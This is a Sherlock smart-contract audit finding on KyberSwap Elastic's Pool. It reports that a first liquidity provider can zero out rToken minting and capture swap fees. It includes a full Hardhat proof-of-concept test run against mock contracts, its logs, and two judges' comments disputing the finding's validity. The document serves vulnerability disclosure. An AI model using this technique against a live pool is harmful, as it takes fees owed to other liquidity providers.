n33k - Pool: The first liquidity provider can manipulate `calcrMintQty` to steal swap fees

[sherlock-admin]

n33k

high

Pool: The first liquidity provider can manipulate calcrMintQty to steal swap fees

Summary

The protocol mints RTokens to liquidity provider to represent his earned fee shares. The formula to calculate the mint amount is manipulatable by liquidity providers. The first liquidity provider can steal almost all the swap fees generated in the protocol.

Vulnerability Detail

The formula to calculate mintQty is calcrMintQty.

  /// rMintQty = rTotalSupply * (reinvestL - reinvestLLast) / reinvestLLast * baseL / (baseL + reinvestL)
  function calcrMintQty(
    uint256 reinvestL,
    uint256 reinvestLLast,
    uint128 baseL,
    uint256 rTotalSupply
  ) internal pure returns (uint256 rMintQty) {
    uint256 lpContribution = FullMath.mulDivFloor(
      baseL,
      reinvestL - reinvestLLast,
      baseL + reinvestL
    );
    rMintQty = FullMath.mulDivFloor(rTotalSupply, lpContribution, reinvestLLast);
  }

For this formula rMintQty = rTotalSupply * (reinvestL - reinvestLLast) / reinvestLLast * baseL / (baseL + reinvestL), the attacker(i.e., the first liquidity provider) can make it always 0 by decreasing rTotalSupply and increasing reinvestLLast.

To increase reinvestLLast, the attacker can create large swap fees by making a large swap. The large swap will mint rTokens to the attacker and enlarge reinvestLLast and rTotalSupply. There is almost zero cost of this swap because the attacker is the only LP and most of the fees goes back to him.

To decrease rTotalSupply, the attacker can call burnRTokens with isLogicalBurn set to true. This won't change reinvestLLast.

  function burnRTokens(uint256 _qty, bool isLogicalBurn)
    external
    override
    lock
    returns (uint256 qty0, uint256 qty1)
  {
    if (isLogicalBurn) {
      _burn(msg.sender, _qty);

      emit BurnRTokens(msg.sender, _qty, 0, 0);
      return (0, 0);
    }

If rTotalSupply is large enough and reinvestLLast is small enough, rMintQty will return zero and no new rTokens will be mint for following liquidity providers. The fees still accumulate and will go to exsiting rToken holders, i.e. the attacker and the pool itself.

The pool mints 100 rTokens initially to itself, but it doesn't prevent this attack. For example, the attacker can burn his tokens and has 1000 rTokens left. The pool swap fee will goes 10/11 to the attacker.

PoC

Create file test/PoC.spec.ts with the following code.

import { ethers, waffle } from 'hardhat';
import { BigNumber as BN, Wallet } from 'ethers';
import chai from 'chai';
const { solidity, loadFixture } = waffle;
chai.use(solidity);

import { MockFactory, MockPool, MockToken, MockToken__factory, MockPool__factory } from '../typechain';
import { MockCallbacks, MockCallbacks__factory } from '../typechain';

import { MIN_LIQUIDITY, MIN_TICK } from './helpers/helper';
import { ONE, MAX_UINT, PRECISION } from './helpers/helper';
import { deployMockFactory, getTicksPrevious } from './helpers/setup';
import { encodePriceSqrt } from './helpers/utils';
import { getPriceFromTick } from './helpers/utils';

let factory: MockFactory;
let token0: MockToken;
let token1: MockToken;
let pool: MockPool;
let callback: MockCallbacks;
let vestingPeriod = 100;

let ticksPrevious: [BN, BN] = [MIN_TICK, MIN_TICK];
let initialPrice: BN;

class Fixtures {
  constructor(
    public factory: MockFactory,
    public pool: MockPool,
    public token0: MockToken,
    public token1: MockToken,
    public callback: MockCallbacks
  ) { }
}

describe('PoC', () => {
  const [attacker, userB, userC, admin] = waffle.provider.getWallets();

  async function fixture(): Promise<Fixtures> {
    let [factory, poolOracle] = await deployMockFactory(admin, vestingPeriod);
    await factory.connect(admin).enableSwapFee(50, 10);

    const MockTokenContract = (await ethers.getContractFactory('MockToken')) as MockToken__factory;
    const tokenA = await MockTokenContract.deploy('USDC', 'USDC', PRECISION.mul(PRECISION));
    const tokenB = await MockTokenContract.deploy('DAI', 'DAI', PRECISION.mul(PRECISION));
    token0 = tokenA.address.toLowerCase() < tokenB.address.toLowerCase() ? tokenA : tokenB;
    token1 = token0.address == tokenA.address ? tokenB : tokenA;

    const CallbackContract = (await ethers.getContractFactory('MockCallbacks')) as MockCallbacks__factory;
    let callback = await CallbackContract.deploy(tokenA.address, tokenB.address);

    // create pools
    await factory.createPool(token0.address, token1.address, 50);
    const poolAddress = await factory.getPool(token0.address, token1.address, 50);
    const PoolContract = (await ethers.getContractFactory('MockPool')) as MockPool__factory;
    const pool = PoolContract.attach(poolAddress);

    await tokenA.connect(attacker).approve(callback.address, MAX_UINT);
    await tokenB.connect(attacker).approve(callback.address, MAX_UINT);

    return new Fixtures(factory, pool, token0, token1, callback);
  }

  beforeEach('load fixture', async () => {
    ({ factory, pool, token0, token1, callback } = await loadFixture(fixture));
  });

  it('Attacker steal swap fees', async () => {
    // 0. pool setup
    initialPrice = encodePriceSqrt(ONE, ONE);
    await callback.unlockPool(pool.address, initialPrice);
    await factory.connect(admin).addNFTManager(callback.address);
    // just for clarity, disable whitelist to use tweakPosZeroLiq later
    await factory.connect(admin).disableWhitelist(); 

    // 1. attacker is the first liquidity provider and launches his attack
    //  a. attacker mint the first position
    await callback.mint(pool.address, attacker.address, -100, 100, ticksPrevious, PRECISION.mul(10000000), '0x');

    //  b. make swaps to increase reinvestL
    for (let i = 0; i < 30; i++) {
      await callback.connect(attacker)
        .swap(pool.address, attacker.address, PRECISION.mul(10000000), false, await getPriceFromTick(50), '0x');
      await callback.connect(attacker)
        .swap(pool.address, attacker.address, PRECISION.mul(10000000), true, await getPriceFromTick(0), '0x');
    }

    //  c. remove all liquidity to mint rTokens
    console.log('[+] attacker remove all liquidity');
    await pool.connect(attacker).burn(-100, 100, MIN_LIQUIDITY);
    let attackerBalance = await pool.balanceOf(attacker.address);
    console.log('[*] attacker rToken balance: ', attackerBalance.toString());

    //  d. attacker burn rTokens
    console.log('[+] attacker burn rTokens')
    await pool.connect(attacker).burnRTokens(attackerBalance.sub(1000), true);      // toggle comment to see the difference
    attackerBalance = await pool.balanceOf(attacker.address);
    console.log('[*] attacker rToken balance after burn: ', attackerBalance.toString());

    // 3. Simulate normal user behaviors

    const totoSupplyBefore = await pool.totalSupply();
    console.log('[*] totoSupply before normal user behaviors', totoSupplyBefore.toString());

    // userB provide liquidity
    await callback.mint(pool.address, userB.address, -100, 100, ticksPrevious, PRECISION, '0x');

    // userC make swaps to incur fee
    console.log('[+] userC make swap');
    await callback.connect(userC)
      .swap(pool.address, userC.address, PRECISION.mul(1000), false, await getPriceFromTick(50), '0x');

    // userB collect rToken
    console.log('[+] userB collect earnings');
    await pool.connect(userB).tweakPosZeroLiq(-100, 100);
    console.log('[*] userB rToken balance: ', (await pool.balanceOf(userB.address)).toString());

    console.log('[*] pool balance: ', (await pool.balanceOf(pool.address)).toString());

    const totoSupplyAfter = await pool.totalSupply();
    console.log('[*] totoSupply after normal user behaviors', totoSupplyAfter.toString());

    console.log('[*] totoSupply change(should not be zero) ', totoSupplyAfter.sub(totoSupplyBefore).toString());
  });
});

Run with yarn test test/PoC.spec.ts will print the following logs. userB is a normal liquidity provider. He gets 0 rToken after userC's swap.

  PoC
[+] attacker remove all liquidity
[*] attacker rToken balance:  375537297185960259306
[+] attacker burn rTokens
[*] attacker rToken balance after burn:  1000
[*] totoSupply before normal user behaviors 1101
[+] userC make swap
[+] userB collect earnings
[*] userB rToken balance:  0
[*] pool balance:  101
[*] totoSupply after normal user behaviors 1101
[*] totoSupply change(should not be zero)  0

To make a comparison with the normal behavior without attack. Comment the following line and run again. This time liquidity provider userB gets his derseved 24998119224 rTokens.

await pool.connect(attacker).burnRTokens(attackerBalance.sub(1000), true);      // toggle comment to see the difference

  PoC
[+] attacker remove all liquidity
[*] attacker rToken balance:  375537297185960259306
[+] attacker burn rTokens
[*] attacker rToken balance after burn:  375537297185960259306
[*] totoSupply before normal user behaviors 375537297185960259407
[+] userC make swap
[+] userB collect earnings
[*] userB rToken balance:  24998119224
[*] pool balance:  249981192241235891
[*] totoSupply after normal user behaviors 375787278403199614421
[*] totoSupply change(should not be zero)  249981217239355014

Impact

The attacker can steal all the following swap fees incurred in the pool with very low cost.

Code Snippet

burnRTokens: https://github.com/sherlock-audit/2023-07-kyber-swap/blob/main/ks-elastic-sc/contracts/Pool.sol#L266-L267

calcrMintQty: https://github.com/sherlock-audit/2023-07-kyber-swap/blob/main/ks-elastic-sc/contracts/libraries/ReinvestmentMath.sol#L12-L13

Tool used

Manual Review

Recommendation

No logical burn in calcrMintQty.

[sherlock-admin]

2 comment(s) were left on this issue during the judging contest.

Trumpero commented:

invalid, it is expected behavior that rounding down can cause minting 0 of rToken when rTotalSupply is small enough, because the order of calculations minimizes precision loss but ensure never causes an overflow. It will continue minting rTokens if there is enough swap. Additionally, attacker loses his fees because of burning a large amount of rTokens in the scenario, the majority of rTokens will be in protocol and other users.

jkoppel commented:

Very clever. But it has the problem that holding a position in RTokens is equivalent to spreading liquidity across the entire pool. I ran some numbers and found: say the pool is always trading betweens ticks 0 and 1. Someone would need to let the pool claim about 100 million of each token in fees in order to get reinvestLLast to 100 million. But someone else could come in and place only 4999 tokens (less than 1 in 20000 as much) and get the same liquidity between ticks 0 and 1. They would thence take half the rewards from the person who tried to deploy this attack. I'd need to see actual numbers to know that this attack can be pulled off.